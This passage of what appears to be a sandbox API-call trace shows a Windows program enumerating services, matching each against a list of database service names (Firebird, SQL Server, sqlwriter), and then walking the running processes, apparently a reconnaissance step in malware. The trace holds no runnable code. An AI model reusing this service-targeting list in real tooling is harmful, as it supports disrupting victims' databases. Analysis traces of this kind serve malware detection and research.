pszGroupName=0x0 | out: lpServices=0x524950, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1 [0281.960] CloseServiceHandle (hSCObject=0x51d760) returned 1 [0281.960] lstrlenW (lpString="Appinfo") returned 7 [0281.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0281.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0281.962] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0281.962] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0281.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0281.963] lstrlenW (lpString="AppXSvc") returned 7 [0281.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0281.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0281.963] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0281.963] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0281.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0281.963] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0281.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0281.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0281.963] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0281.963] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0281.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0281.963] lstrlenW (lpString="Audiosrv") returned 8 [0281.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0281.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0281.963] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0281.963] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0281.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0281.963] lstrlenW (lpString="BFE") returned 3 [0281.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0281.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0281.963] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0281.963] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0281.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0281.963] lstrlenW (lpString="BITS") returned 4 [0281.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0281.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0281.963] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0281.963] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0281.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0281.964] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0281.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0281.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0281.964] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0281.964] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0281.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0281.964] lstrlenW (lpString="CDPSvc") returned 6 [0281.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0281.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0281.964] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0281.964] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0281.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0281.964] lstrlenW (lpString="ClickToRunSvc") returned 13 [0281.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0281.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0281.964] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0281.964] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0281.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0281.964] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0281.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0281.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0281.964] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0281.964] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0281.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0281.964] lstrlenW (lpString="CryptSvc") returned 8 [0281.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0281.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0281.964] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0281.964] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0281.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0281.965] lstrlenW (lpString="DcomLaunch") returned 10 [0281.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0281.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0281.965] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0281.965] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0281.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0281.965] lstrlenW (lpString="DeviceAssociationService") returned 24 [0281.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0281.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0281.965] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0281.965] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0281.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0281.965] lstrlenW (lpString="Dhcp") returned 4 [0281.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0281.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0281.965] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0281.965] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0281.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0281.965] lstrlenW (lpString="Dnscache") returned 8 [0281.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0281.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0281.965] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0281.965] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0281.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0281.965] lstrlenW (lpString="DPS") returned 3 [0281.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0281.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0281.965] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0281.965] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0281.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0281.966] lstrlenW (lpString="DusmSvc") returned 7 [0281.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0281.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0281.966] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0281.966] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0281.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0281.966] lstrlenW (lpString="EventLog") returned 8 [0281.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0281.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0281.966] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0281.966] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0281.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0281.966] lstrlenW (lpString="EventSystem") returned 11 [0281.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0281.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0281.966] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0281.966] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0281.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0281.966] lstrlenW (lpString="FontCache") returned 9 [0281.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0281.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0281.966] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0281.966] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0281.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0281.966] lstrlenW (lpString="gpsvc") returned 5 [0281.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0281.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0281.966] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0281.966] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0281.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0281.967] lstrlenW (lpString="iphlpsvc") returned 8 [0281.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0281.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0281.967] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0281.967] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0281.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0281.967] lstrlenW (lpString="KeyIso") returned 6 [0281.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0281.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0281.967] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0281.967] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0281.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0281.967] lstrlenW (lpString="LanmanServer") returned 12 [0281.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0281.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0281.967] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0281.967] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0281.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0281.967] lstrlenW (lpString="LanmanWorkstation") returned 17 [0281.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0281.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0281.967] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0281.967] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0281.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0281.967] lstrlenW (lpString="lfsvc") returned 5 [0281.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0281.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0281.967] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0281.967] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0281.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0281.968] lstrlenW (lpString="lmhosts") returned 7 [0281.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0281.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0281.968] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0281.968] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0281.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0281.968] lstrlenW (lpString="LSM") returned 3 [0281.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0281.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0281.968] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0281.968] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0281.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0281.968] lstrlenW (lpString="MpsSvc") returned 6 [0281.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0281.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0281.968] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0281.968] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0281.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0281.968] lstrlenW (lpString="NcbService") returned 10 [0281.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0281.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0281.968] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0281.968] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0281.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0281.968] lstrlenW (lpString="netprofm") returned 8 [0281.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0281.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0281.968] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0281.968] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0281.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0281.969] lstrlenW (lpString="NgcSvc") returned 6 [0281.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0281.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0281.969] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0281.969] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0281.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0281.969] lstrlenW (lpString="NlaSvc") returned 6 [0281.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0281.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0281.969] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0281.969] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0281.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0281.969] lstrlenW (lpString="nsi") returned 3 [0281.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0281.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0281.969] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0281.969] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0281.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0281.969] lstrlenW (lpString="PcaSvc") returned 6 [0281.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0281.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0281.969] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0281.969] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0281.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0281.969] lstrlenW (lpString="PlugPlay") returned 8 [0281.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0281.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0281.969] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0281.970] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0281.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0281.970] lstrlenW (lpString="Power") returned 5 [0281.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0281.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0281.970] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0281.970] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0281.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0281.970] lstrlenW (lpString="ProfSvc") returned 7 [0281.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0281.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0281.970] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0281.970] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0281.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0281.970] lstrlenW (lpString="RpcEptMapper") returned 12 [0281.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0281.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0281.970] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0281.971] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0281.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0281.971] lstrlenW (lpString="RpcSs") returned 5 [0281.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0281.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0281.971] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0281.971] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0281.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0281.971] lstrlenW (lpString="SamSs") returned 5 [0281.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0281.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0281.971] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0281.971] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0281.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0281.971] lstrlenW (lpString="Schedule") returned 8 [0281.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0281.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0281.971] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0281.971] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0281.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0281.971] lstrlenW (lpString="SecurityHealthService") returned 21 [0281.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0281.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0281.971] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0281.971] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0281.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0281.971] lstrlenW (lpString="SENS") returned 4 [0281.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0281.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0281.971] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0281.971] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0281.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0281.972] lstrlenW (lpString="ShellHWDetection") returned 16 [0281.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0281.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0281.972] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0281.972] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0281.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0281.972] lstrlenW (lpString="Spooler") returned 7 [0281.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0281.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0281.972] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0281.972] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0281.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0281.972] lstrlenW (lpString="SSDPSRV") returned 7 [0281.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0281.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0281.972] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0281.972] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0281.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0281.972] lstrlenW (lpString="StateRepository") returned 15 [0281.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0281.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0281.972] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0281.972] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0281.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0281.972] lstrlenW (lpString="SysMain") returned 7 [0281.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0281.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0281.972] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0281.972] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0281.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0281.973] lstrlenW (lpString="SystemEventsBroker") returned 18 [0281.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0281.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0281.973] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0281.973] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0281.973] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x524950 | out: hHeap=0x4e0000) returned 1 [0281.973] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240 [0281.981] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0281.981] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0281.982] lstrlenW (lpString="System") returned 6 [0281.982] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0281.983] lstrlenW (lpString="smss.exe") returned 8 [0281.983] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0281.983] lstrlenW (lpString="csrss.exe") returned 9 [0281.983] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0281.984] lstrlenW (lpString="wininit.exe") returned 11 [0281.984] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0281.984] lstrlenW (lpString="csrss.exe") returned 9 [0281.984] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0281.985] lstrlenW (lpString="winlogon.exe") 